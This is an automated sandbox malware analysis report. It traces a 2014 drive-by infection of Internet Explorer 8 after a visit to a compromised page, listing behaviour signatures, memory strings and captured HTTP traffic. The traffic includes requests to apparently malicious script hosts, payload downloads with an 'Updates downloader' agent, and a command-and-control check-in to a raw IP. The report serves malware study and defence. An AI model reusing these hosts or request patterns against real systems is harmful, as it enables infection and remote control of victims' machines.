Joe Sandbox Desktop - Analysis Report 8301

General Information

Analysis ID:	8301
Start time:	17:53:31
Start date:	27/02/2014
Overall analysis duration:	0h 5m 33s
Report type:	full
Sample file name:
Cookbook file name:	browse.jbs
Analysis system description:	XP SP3 (Internet Explorer 8)
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
HCA enabled:	true
HCA success:	true, ratio: 99% Number of executed functions: 12 Number of non-executed functions: 71
Cookbook Comments:	Browsing: http://jsmpodcast.info/persecuted/index.html
Warnings:	Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtCreateKey calls found. Report size getting too big, too many NtDeleteKey calls found. Report size getting too big, too many NtMapViewOfSection calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found. Report size getting too big, too many NtReadVirtualMemory calls found. Report size getting too big, too many NtSetValueKey calls found.

Detection

Strategy	Report FP/FN
Threshold

Signature Overview

Key, Mouse, Clipboard, Microphone and Screen Caputering:

Contains functionality to record screenshots			Show sources
Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: 0_2_0225B9FD GetDesktopWindow,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetWindowRect,GetWindowDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,SelectObject,DeleteObject,DeleteDC,ReleaseDC,FreeLibrary,		0_2_0225B9FD

Networking:

Contains functionality to download additional files from the internet		Show sources
Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: 0_2_02254C10 GetSystemTimeAsFileTime,InternetOpenW,WideCharToMultiByte,wsprintfW,InternetConnectW,HttpOpenRequestW,HttpSendRequestW,HttpQueryInfoW,InternetReadFile,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,wsprintfW,wsprintfW,InternetReadFile,wsprintfW,InternetCloseHandle,WideCharToMultiByte,InternetCloseHandle,InternetCloseHandle,wsprintfW,	0_2_02254C10
Downloads files		Show sources
Source: C:\Program Files\Internet Explorer\iexplore.exe	File created: C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\TA7NCEIS\known_providers_download_v1[1].xml
Tries to download non-existing http data (HTTP/1.1 404 Not Found)		Show sources
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Found Server: nginx Date: Thu, 27 Feb 2014 16:54:41 GMT Content-Length: 0 Connection: keep-alive
Urls found in memory or binary data		Show sources
Source: Kno2.tmp.dr	String found in binary or memory: http://api.bing.com/qsml.aspx?query=
Source: Kno2.tmp.dr	String found in binary or memory: http://ar.search.yahoo.com/
Source: Kno2.tmp.dr	String found in binary or memory: http://ar.search.yahoo.com/search?ei=utf-8&fr=yie7c&p=
Source: Kno2.tmp.dr	String found in binary or memory: http://ar.search.yahoo.com/search?ei=utf-8&fr=yie8ms&p=
Source: Kno2.tmp.dr	String found in binary or memory: http://ar.search.yahoo.com/search?p=
Source: Kno2.tmp.dr	String found in binary or memory: http://au.search.yahoo.com/
Source: Kno2.tmp.dr	String found in binary or memory: http://au.search.yahoo.com/search?ei=utf-8&fr=yie7c&p=
Source: Kno2.tmp.dr	String found in binary or memory: http://au.search.yahoo.com/search?ei=utf-8&fr=yie8ms&p=
Source: Kno2.tmp.dr	String found in binary or memory: http://au.search.yahoo.com/search?p=
Source: index[1].htm.dr	String found in binary or memory: http://billigast-el.nu/margarita/garlicky.js
Source: Kno2.tmp.dr	String found in binary or memory: http://br.search.yahoo.com/
Source: Kno2.tmp.dr	String found in binary or memory: http://br.search.yahoo.com/search?ei=utf-8&fr=yie7c&p=
Source: Kno2.tmp.dr	String found in binary or memory: http://br.search.yahoo.com/search?ei=utf-8&fr=yie8ms&p=
Source: Kno2.tmp.dr	String found in binary or memory: http://br.search.yahoo.com/search?p=
Source: Kno2.tmp.dr	String found in binary or memory: http://ca.search.yahoo.com/
Source: Kno2.tmp.dr	String found in binary or memory: http://ca.search.yahoo.com/search?ei=utf-8&fr=yie7c&p=
Source: Kno2.tmp.dr	String found in binary or memory: http://ca.search.yahoo.com/search?ei=utf-8&fr=yie8ms&p=
Source: Kno2.tmp.dr	String found in binary or memory: http://ca.search.yahoo.com/search?p=
Source: 1DAF2884EC4DFA96BA4A58D4DBC9C406.dr	String found in binary or memory: http://cdp1.public-trust.com/crl/omniroot2025.crl
Source: Kno2.tmp.dr	String found in binary or memory: http://cf.search.yahoo.com/
Source: Kno2.tmp.dr	String found in binary or memory: http://cl.search.yahoo.com/
Source: Kno2.tmp.dr	String found in binary or memory: http://cl.search.yahoo.com/search?p=
Source: Kno2.tmp.dr	String found in binary or memory: http://cn.bing.com/favicon.ico
Source: Kno2.tmp.dr	String found in binary or memory: http://cn.bing.com/search?q=
Source: Kno2.tmp.dr	String found in binary or memory: http://cnweb.search.live.com/results.aspx?q=
Source: Kno2.tmp.dr	String found in binary or memory: http://co.search.yahoo.com/
Source: Kno2.tmp.dr	String found in binary or memory: http://co.search.yahoo.com/search?p=
Source: 23B523C9E7746F715D33C6527C18EB9D.dr	String found in binary or memory: http://crl.geotrust.com/crls/secureca.crl
Source: Tar4.tmp.dr	String found in binary or memory: http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0
Source: Tar4.tmp.dr	String found in binary or memory: http://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0
Source: Tar4.tmp.dr	String found in binary or memory: http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z
Source: Tar4.tmp.dr	String found in binary or memory: http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0t
Source: Kno2.tmp.dr	String found in binary or memory: http://de.search.yahoo.com/
Source: Kno2.tmp.dr	String found in binary or memory: http://de.search.yahoo.com/search?ei=utf-8&fr=yie7c&p=
Source: Kno2.tmp.dr	String found in binary or memory: http://de.search.yahoo.com/search?ei=utf-8&fr=yie8ms&p=
Source: Kno2.tmp.dr	String found in binary or memory: http://de.search.yahoo.com/search?p=
Source: Kno2.tmp.dr	String found in binary or memory: http://es.search.yahoo.com/
Source: Kno2.tmp.dr	String found in binary or memory: http://es.search.yahoo.com/search?ei=utf-8&fr=yie7c&p=
Source: Kno2.tmp.dr	String found in binary or memory: http://es.search.yahoo.com/search?ei=utf-8&fr=yie8ms&p=
Source: Kno2.tmp.dr	String found in binary or memory: http://es.search.yahoo.com/search?p=
Source: Kno2.tmp.dr	String found in binary or memory: http://espanol.search.yahoo.com/
Source: Kno2.tmp.dr	String found in binary or memory: http://espanol.search.yahoo.com/search?ei=utf-8&fr=yie7c&p=
Source: Kno2.tmp.dr	String found in binary or memory: http://espanol.search.yahoo.com/search?ei=utf-8&fr=yie8ms&p=
Source: Kno2.tmp.dr	String found in binary or memory: http://espanol.search.yahoo.com/search?p=
Source: Kno2.tmp.dr	String found in binary or memory: http://fr.search.yahoo.com/
Source: Kno2.tmp.dr	String found in binary or memory: http://fr.search.yahoo.com/search?ei=utf-8&fr=yie7c&p=
Source: Kno2.tmp.dr	String found in binary or memory: http://fr.search.yahoo.com/search?ei=utf-8&fr=yie8ms&p=
Source: Kno2.tmp.dr	String found in binary or memory: http://fr.search.yahoo.com/search?p=
Source: index[1].htm.dr	String found in binary or memory: http://ftp.arearealestate.com/telecasted/earners.js
Source: Kno2.tmp.dr	String found in binary or memory: http://hk.search.yahoo.com/
Source: Kno2.tmp.dr	String found in binary or memory: http://hk.search.yahoo.com/search?ei=utf-8&fr=yie7c&p=
Source: Kno2.tmp.dr	String found in binary or memory: http://hk.search.yahoo.com/search?ei=utf-8&fr=yie8ms&p=
Source: Kno2.tmp.dr	String found in binary or memory: http://hk.search.yahoo.com/search?p=
Source: Kno2.tmp.dr	String found in binary or memory: http://id.search.yahoo.com/
Source: Kno2.tmp.dr	String found in binary or memory: http://id.search.yahoo.com/search?p=
Source: Kno2.tmp.dr	String found in binary or memory: http://ie.search.yahoo.com/os?appid=ie8&command=
Source: Kno2.tmp.dr	String found in binary or memory: http://in.search.yahoo.com/search?ei=utf-8&fr=yie7c&p=
Source: Kno2.tmp.dr	String found in binary or memory: http://in.search.yahoo.com/search?ei=utf-8&fr=yie8ms&p=
Source: Kno2.tmp.dr	String found in binary or memory: http://in.search.yahoo.com/search?p=
Source: Kno2.tmp.dr	String found in binary or memory: http://it.search.yahoo.com/search?ei=utf-8&fr=yie7c&p=
Source: Kno2.tmp.dr	String found in binary or memory: http://it.search.yahoo.com/search?ei=utf-8&fr=yie8ms&p=
Source: Kno2.tmp.dr	String found in binary or memory: http://it.search.yahoo.com/search?p=
Source: {351C9A7E-A01B-11E3-97AC-080027B8F5FB}.dat.dr	String found in binary or memory: http://jsmpodcast.info/persecute
Source: {351C9A7E-A01B-11E3-97AC-080027B8F5FB}.dat.dr	String found in binary or memory: http://jsmpodcast.info/persecuted/index.html
Source: {351C9A7E-A01B-11E3-97AC-080027B8F5FB}.dat.dr	String found in binary or memory: http://jsmpodcast.info/persecuteroot
Source: Kno2.tmp.dr	String found in binary or memory: http://kr.search.yahoo.com/
Source: Kno2.tmp.dr	String found in binary or memory: http://kr.search.yahoo.com/ei=utf-8&fr=yie8ms&p=
Source: Kno2.tmp.dr	String found in binary or memory: http://kr.search.yahoo.com/search?ei=utf-8&fr=yie7c&p=
Source: Kno2.tmp.dr	String found in binary or memory: http://kr.search.yahoo.com/search?p=
Source: Kno2.tmp.dr	String found in binary or memory: http://kr.searchcenter.yahoo.com/
Source: Kno2.tmp.dr	String found in binary or memory: http://livesearch.msn.co.kr/
Source: Kno2.tmp.dr	String found in binary or memory: http://malaysia.search.yahoo.com/search?ei=utf-8&fr=yie7c&p=
Source: Kno2.tmp.dr	String found in binary or memory: http://malaysia.search.yahoo.com/search?ei=utf-8&fr=yie8ms&p=
Source: Kno2.tmp.dr	String found in binary or memory: http://malaysia.search.yahoo.com/search?p=
Source: AC9005F5466BD463DF06D711B370595F.dr	String found in binary or memory: http://mscrl.microsoft.com/pki/mscorp/crl/msit%20machine%20auth%20ca%202(1).crl
Source: 4309200C3DBAD0F6F0DFACE9165FD092.dr	String found in binary or memory: http://mscrl.microsoft.com/pki/mscorp/crl/mswww(6).crl
Source: Kno2.tmp.dr	String found in binary or memory: http://mx.search.yahoo.com/search?ei=utf-8&fr=yie7c&p=
Source: Kno2.tmp.dr	String found in binary or memory: http://mx.search.yahoo.com/search?ei=utf-8&fr=yie8ms&p=
Source: Kno2.tmp.dr	String found in binary or memory: http://mx.search.yahoo.com/search?p=
Source: {351C9A7E-A01B-11E3-97AC-080027B8F5FB}.dat.dr	String found in binary or memory: http://northwesternfoods.com/sg3oyoe0v2
Source: Kno2.tmp.dr	String found in binary or memory: http://nz.search.yahoo.com/
Source: Kno2.tmp.dr	String found in binary or memory: http://nz.search.yahoo.com/search?p=
Source: Kno2.tmp.dr	String found in binary or memory: http://pe.search.yahoo.com/
Source: Kno2.tmp.dr	String found in binary or memory: http://pe.search.yahoo.com/search?p=
Source: Kno2.tmp.dr	String found in binary or memory: http://ph.search.yahoo.com/search?ei=utf-8&fr=yie7c&p=
Source: Kno2.tmp.dr	String found in binary or memory: http://ph.search.yahoo.com/search?ei=utf-8&fr=yie8ms&p=
Source: Kno2.tmp.dr	String found in binary or memory: http://ph.search.yahoo.com/search?p=
Source: Kno2.tmp.dr	String found in binary or memory: http://qc.search.yahoo.com/
Source: Kno2.tmp.dr	String found in binary or memory: http://qc.search.yahoo.com/search?p=
Source: Kno2.tmp.dr	String found in binary or memory: http://ru.search.yahoo.com
Source: Kno2.tmp.dr	String found in binary or memory: http://search.cn.yahoo.com/
Source: Kno2.tmp.dr	String found in binary or memory: http://search.live.com/results.aspx?form=iefm1&q=
Source: Kno2.tmp.dr	String found in binary or memory: http://search.live.com/results.aspx?form=so2tdf&q=
Source: Kno2.tmp.dr	String found in binary or memory: http://search.live.com/results.aspx?form=soltdf&q=
Source: Kno2.tmp.dr	String found in binary or memory: http://search.live.com/results.aspx?q=
Source: Kno2.tmp.dr	String found in binary or memory: http://search.msn.co.jp/results.aspx?q=
Source: Kno2.tmp.dr	String found in binary or memory: http://search.msn.co.uk/results.aspx?q=
Source: Kno2.tmp.dr	String found in binary or memory: http://search.msn.com.cn/results.aspx?q=
Source: Kno2.tmp.dr	String found in binary or memory: http://search.msn.com/results.aspx?q=
Source: Kno2.tmp.dr	String found in binary or memory: http://search.yahoo.com/
Source: Kno2.tmp.dr	String found in binary or memory: http://search.yahoo.com/favicon.ico
Source: Kno2.tmp.dr	String found in binary or memory: http://search.yahoo.com/search?p=
Source: Kno2.tmp.dr	String found in binary or memory: http://sg.search.yahoo.com/search?ei=utf-8&fr=yie7c&p=
Source: Kno2.tmp.dr	String found in binary or memory: http://sg.search.yahoo.com/search?ei=utf-8&fr=yie8ms&p=
Source: Kno2.tmp.dr	String found in binary or memory: http://sg.search.yahoo.com/search?p=
Source: Kno2.tmp.dr	String found in binary or memory: http://sugg-ie.ar.search.yahoo.com/os?market=ar&appid=ie8&command=
Source: Kno2.tmp.dr	String found in binary or memory: http://sugg-ie.au.search.yahoo.com/os?market=au&appid=ie8&command=
Source: Kno2.tmp.dr	String found in binary or memory: http://sugg-ie.ca.search.yahoo.com/os?market=ca&appid=ie8&command=
Source: Kno2.tmp.dr	String found in binary or memory: http://sugg-ie.de.search.yahoo.com/os?market=de&appid=ie8&command=
Source: Kno2.tmp.dr	String found in binary or memory: http://sugg-ie.e1.search.yahoo.com/os?market=e1&appid=ie8&command=
Source: Kno2.tmp.dr	String found in binary or memory: http://sugg-ie.es.search.yahoo.com/os?market=es&appid=ie8&command=
Source: Kno2.tmp.dr	String found in binary or memory: http://sugg-ie.fr.search.yahoo.com/os?market=fr&appid=ie8&command=
Source: Kno2.tmp.dr	String found in binary or memory: http://sugg-ie.hk.search.yahoo.com/os?market=hk&appid=ie8&command=
Source: Kno2.tmp.dr	String found in binary or memory: http://sugg-ie.id.search.yahoo.com/os?market=id&appid=ie8&command=
Source: Kno2.tmp.dr	String found in binary or memory: http://sugg-ie.in.search.yahoo.com/os?market=in&appid=ie8&command=
Source: Kno2.tmp.dr	String found in binary or memory: http://sugg-ie.it.search.yahoo.com/os?market=it&appid=ie8&command=
Source: Kno2.tmp.dr	String found in binary or memory: http://sugg-ie.mx.search.yahoo.com/os?market=mx&appid=ie8&command=
Source: Kno2.tmp.dr	String found in binary or memory: http://sugg-ie.my.search.yahoo.com/os?market=my&appid=ie8&command=
Source: Kno2.tmp.dr	String found in binary or memory: http://sugg-ie.nz.search.yahoo.com/os?market=nz&appid=ie8&command=
Source: Kno2.tmp.dr	String found in binary or memory: http://sugg-ie.ph.search.yahoo.com/os?market=ph&appid=ie8&command=
Source: Kno2.tmp.dr	String found in binary or memory: http://sugg-ie.qc.search.yahoo.com/os?market=qc&appid=ie8&command=
Source: Kno2.tmp.dr	String found in binary or memory: http://sugg-ie.sg.search.yahoo.com/os?market=sg&appid=ie8&command=
Source: Kno2.tmp.dr	String found in binary or memory: http://sugg-ie.th.search.yahoo.com/os?market=th&appid=ie8&command=
Source: Kno2.tmp.dr	String found in binary or memory: http://sugg-ie.tw.search.yahoo.com/os?market=tw&appid=ie8&command=
Source: Kno2.tmp.dr	String found in binary or memory: http://sugg-ie.uk.search.yahoo.com/os?market=uk&appid=ie8&command=
Source: Kno2.tmp.dr	String found in binary or memory: http://sugg-ie.vn.search.yahoo.com/os?market=vn&appid=ie8&command=
Source: Tar8.tmp.dr	String found in binary or memory: http://support.microsoft.com/kb/9311250
Source: index[1].htm.dr	String found in binary or memory: http://tattitude.co.uk/combines/cartooning.js
Source: Kno2.tmp.dr	String found in binary or memory: http://th.search.yahoo.com/search?p=
Source: Kno2.tmp.dr	String found in binary or memory: http://tw.search.yahoo.com/search?ei=utf-8&fr=yie7c&p=
Source: Kno2.tmp.dr	String found in binary or memory: http://tw.search.yahoo.com/search?ei=utf-8&fr=yie8ms&p=
Source: Kno2.tmp.dr	String found in binary or memory: http://tw.search.yahoo.com/search?p=
Source: Kno2.tmp.dr	String found in binary or memory: http://uk.search.yahoo.com/search?ei=utf-8&fr=yie7c&p=
Source: Kno2.tmp.dr	String found in binary or memory: http://uk.search.yahoo.com/search?ei=utf-8&fr=yie8ms&p=
Source: Kno2.tmp.dr	String found in binary or memory: http://uk.search.yahoo.com/search?p=
Source: Kno2.tmp.dr	String found in binary or memory: http://ve.search.yahoo.com/
Source: Kno2.tmp.dr	String found in binary or memory: http://ve.search.yahoo.com/search?p=
Source: Kno2.tmp.dr	String found in binary or memory: http://vn.search.yahoo.com/search?p=
Source: Kno2.tmp.dr	String found in binary or memory: http://www.bing.com/favicon.ico
Source: Kno2.tmp.dr	String found in binary or memory: http://www.bing.com/search?q=
Source: 2BF68F4714092295550497DD56F57004.dr	String found in binary or memory: http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootseq.txt
Source: 94308059B57B3142E455B38A6EB92015.dr	String found in binary or memory: http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: iexplore.exe, aplib.dll.dr	String found in binary or memory: http://www.ibsensoftware.com/
Source: Tar4.tmp.dr	String found in binary or memory: http://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0
Source: Tar4.tmp.dr	String found in binary or memory: http://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0
Source: Tar4.tmp.dr	String found in binary or memory: http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07
Source: Tar4.tmp.dr	String found in binary or memory: http://www.microsoft.com/pki/certs/microsoftrootcert.crt0
Source: Tar4.tmp.dr	String found in binary or memory: http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl
Source: sg3oyoe0v2[1].htm.dr	String found in binary or memory: http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd
Source: cutit.exe.dr	String found in binary or memory: http://www.yahoo.com
Downloads compressed data via HTTP		Show sources
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OK Date: Thu, 27 Feb 2014 16:54:17 GMT Server: Apache Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 263 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html Data Raw: 1f 8b 08 00 00 00 00 00 00 03 9d 91 4d 6e c4 20 0c 85 f7 95 7a 07 44 d7 c5 fd 51 55 a9 22 d9 54 9a 7b 38 e0 26 cc 10 88 8c 93 76 6e 5f 67 46 dd 74 d7 22 90 25 1e fe de 93 f1 93 cc b9 bf bd f1 82 43 26 f3 99 a2 4c 9d 7d 7a 7d b1 66 a8 1c 89 3b fb 68 4d a0 9c 17 8c 31 95 b1 b3 cf 3f 52 a8 b9 aa 7e f7 a0 eb 70 b0 bd 17 d6 13 7b 1f d3 66 30 a7 b1 74 36 50 11 62 db bf d7 52 28 88 02 8c 54 d3 88 37 62 e7 9c 07 7d db 7b d8 bb 60 6f 87 4b 0e ad b8 87 6a 81 d3 22 46 ce 0b 75 56 e8 4b e0 88 1b 5e 6f ad 69 1c 3a 3b 89 2c 6f 00 43 ca 6a 88 4d ee 29 bb b2 c2 8c 3c 22 27 41 d0 92 53 38 9d dd b1 69 44 b8 36 f7 7f 61 7f c8 e2 90 69 df 99 9a a0 90 0b 75 06 a1 4c 41 1d 29 82 6a 85 b8 fd df 42 a1 92 64 8d 3b d9 ad 27 50 fe 90 0a 35 08 c8 52 6b d1 b9 fd 82 eb 74 e0 f2 77 df Data Ascii:
Downloads files from webservers via HTTP		Show sources
Source: global traffic	HTTP traffic detected: GET /persecuted/index.html HTTP/1.1 Accept: / Referer: http://www.google.com Accept-Language: en-us User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E) Accept-Encoding: gzip, deflate Host: jsmpodcast.info Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /msdownload/update/v3/static/trustedr/en/authrootseq.txt HTTP/1.1 Accept: / User-Agent: Microsoft-CryptoAPI/5.131.2600.5512 Host: www.download.windowsupdate.com Connection: Keep-Alive Cache-Control: no-cache Pragma: no-cache
Source: global traffic	HTTP traffic detected: GET /telecasted/earners.js HTTP/1.1 Accept: / Referer: http://jsmpodcast.info/persecuted/index.html Accept-Language: en-us User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E) Accept-Encoding: gzip, deflate Host: ftp.arearealestate.com Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /margarita/garlicky.js HTTP/1.1 Accept: / Referer: http://jsmpodcast.info/persecuted/index.html Accept-Language: en-us User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E) Accept-Encoding: gzip, deflate Host: billigast-el.nu Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /combines/cartooning.js HTTP/1.1 Accept: / Referer: http://jsmpodcast.info/persecuted/index.html Accept-Language: en-us User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E) Accept-Encoding: gzip, deflate Host: tattitude.co.uk Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /msdownload/update/v3/static/trustedr/en/authrootstl.cab HTTP/1.1 Accept: / User-Agent: Microsoft-CryptoAPI/5.131.2600.5512 Host: www.download.windowsupdate.com Connection: Keep-Alive Cache-Control: no-cache Pragma: no-cache
Source: global traffic	HTTP traffic detected: GET /sg3oyoe0v2 HTTP/1.1 Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, / Accept-Language: en-us User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E) Accept-Encoding: gzip, deflate Host: northwesternfoods.com Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /CRL/Omniroot2025.crl HTTP/1.1 Accept: / User-Agent: Microsoft-CryptoAPI/5.131.2600.5512 Host: cdp1.public-trust.com Connection: Keep-Alive Cache-Control: no-cache Pragma: no-cache
Source: global traffic	HTTP traffic detected: GET /EoDgwO8EW5EKuirhtrpofaJPQHqQclBlZJwjiO_6QXZIaLYp HTTP/1.1 Accept: / Accept-Language: en-US Referer: http://northwesternfoods.com/sg3oyoe0v2 x-flash-version: 11,1,102,62 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E) Host: northwesternfoods.com Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /pki/mscorp/crl/mswww(6).crl HTTP/1.1 Accept: / User-Agent: Microsoft-CryptoAPI/5.131.2600.5512 Host: mscrl.microsoft.com Connection: Keep-Alive Cache-Control: no-cache Pragma: no-cache
Source: global traffic	HTTP traffic detected: GET /pki/mscorp/crl/MSIT%20Machine%20Auth%20CA%202(1).crl HTTP/1.1 Accept: / User-Agent: Microsoft-CryptoAPI/5.131.2600.5512 Host: mscrl.microsoft.com Connection: Keep-Alive Cache-Control: no-cache Pragma: no-cache
Source: global traffic	HTTP traffic detected: GET /813lux6EySHP4W-81m0YHZ_jdBIt1bV-D34r7SdtCQqckA-e HTTP/1.1 Host: northwesternfoods.com Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E) Host: northwesternfoods.com Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /hootsup/2012/Test.fb2 HTTP/1.1 Accept: text/, application/ User-Agent: Updates downloader Host: 99websoft.com Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate If-Modified-Since: Sat, 19 Oct 2013 01:08:06 GMT User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E) Host: www.bing.com Connection: Keep-Alive Cookie: SRCHD=SM=1&MS=3114430&D=3114430&AF=MSN005; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20131202; MUID=345C338958C660911552361E5CC662BD; SRCHHPGUSR=CW=764&CH=389; MUIDB=345C338958C660911552361E5CC662BD; SRCHUID=V=2&GUID=A4455F1FF2444C23961AA4CD67C08F2D
Source: global traffic	HTTP traffic detected: GET /combines/cartooning.js HTTP/1.1 Accept: / Referer: http://jsmpodcast.info/persecuted/index.html Accept-Language: en-us User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E) Accept-Encoding: gzip, deflate Host: tattitude.co.uk Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /sg3oyoe0v2 HTTP/1.1 Accept: / Accept-Language: en-us User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E) Accept-Encoding: gzip, deflate Host: northwesternfoods.com Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E) Host: northwesternfoods.com Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /hootsup/2012/Test.fb2 HTTP/1.1 Accept: text/, application/ User-Agent: Updates downloader Host: 99websoft.com Cache-Control: no-cache Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2013/09/Test.fb2 HTTP/1.1 Accept: text/, application/ User-Agent: Updates downloader Host: myhousejob.com Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /tasks?version=106&group=0227&client=063b46785777ce6ac12c9b3e8520ff52&computer=506407&os=5.1&latency=0.0 HTTP/1.1 User-Agent: Microsoft-CryptoAPI/6.1 Host: 95.211.192.195 Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /images/27UKp.fb2 HTTP/1.1 Accept: text/, application/ User-Agent: Updates downloader Host: goldwinevents.com Cache-Control: no-cache Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1 Host: www.yahoo.com
Source: global traffic	HTTP traffic detected: GET /crls/secureca.crl HTTP/1.1 Accept: / User-Agent: Microsoft-CryptoAPI/5.131.2600.5512 Host: crl.geotrust.com Connection: Keep-Alive Cache-Control: no-cache Pragma: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1 Host: www.yahoo.com
Found strings which match to known social media urls		Show sources
Source: Kno2.tmp.dr	String found in binary or memory: <FavoriteIcon>http://search.yahoo.com/favicon.ico</FavoriteIcon> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <SuggestionsURL>http://ie.search.yahoo.com/os?appid=ie8&command={SearchTerms}</SuggestionsURL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <SuggestionsURL>http://sugg-ie.ar.search.yahoo.com/os?market=ar&appid=ie8&command={searchTerms}</SuggestionsURL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <SuggestionsURL>http://sugg-ie.au.search.yahoo.com/os?market=au&appid=ie8&command={searchTerms}</SuggestionsURL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <SuggestionsURL>http://sugg-ie.ca.search.yahoo.com/os?market=ca&appid=ie8&command={searchTerms}</SuggestionsURL> equals www.yahoo.com (Yahoo)
